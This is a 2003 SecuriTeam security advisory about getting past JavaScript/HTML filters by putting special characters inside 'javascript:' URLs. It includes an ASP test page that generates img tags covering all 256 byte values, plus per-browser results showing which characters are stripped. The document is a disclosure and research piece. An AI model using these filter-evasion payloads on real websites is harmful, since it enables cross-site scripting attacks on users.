[NEWS] Passing JavaScript/HTML Filters with Special Chars (Multibrowser)

From: SecuriTeam (support_at_securiteam.com)
Date: 07/31/03

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Date: 31 Jul 2003 14:40:22 +0200

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      Passing JavaScript/HTML Filters with Special Chars (Multibrowser)
    ------------------------------------------------------------------------

    SUMMARY

    When web browsers parse HTML they remove certain non-alpha numeric
    characters, this behavior may be used by an malicious user to fool
    JavaScript/HTML filters, allowing the execution of malicious HTML or
    JavaScript code.

    DETAILS

    To detect what kind of special chars can be used in HTML parameters Ben
    has set up the following asp-page:

     -------------------------------------------2.asp---------
     <%@LANGUAGE=JScript%><%

     %><script>function a(o){alert(o)}</script><%
     %><img src="javascript:a('test')" /><%

     for(i=0;i<256;++i){
      uc = "%"+chk(i.toString(16));
      %><img src="ja<%=unescape(uc)%>vascript:a(<%=i%>)" />
     <% }

     function chk(sInp){if(sInp.length<2){
      return String("0"+sInp)
     }else{return sInp}}
     %>
     ---------------------------------------------------------

    The page has been viewed with Mozilla, Opera, and Internet Explorer, an
    alert-box will pop up in this order:
     * Mozilla 1.3.1 (Win32): 0 (with restrictions)
     * Opera 7.11 (Win32): 0, 9, 10, 13, 173
     * Internet Explorer 5.0: 13, 10, 9, 0

    Mozilla doesn't allow the window.alert()-method in "javascript:" images,
    so Ben had to use his own function "a()". It also returned an error for
    char 9, 10 and 13: "Error: unterminated regular expression literal".

    Demonstration site:
     <http://badwebmasters.net/advisory/012/test.asp>
    http://badwebmasters.net/advisory/012/test.asp

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:badwebmasters@online.de> ben
    moeckel.

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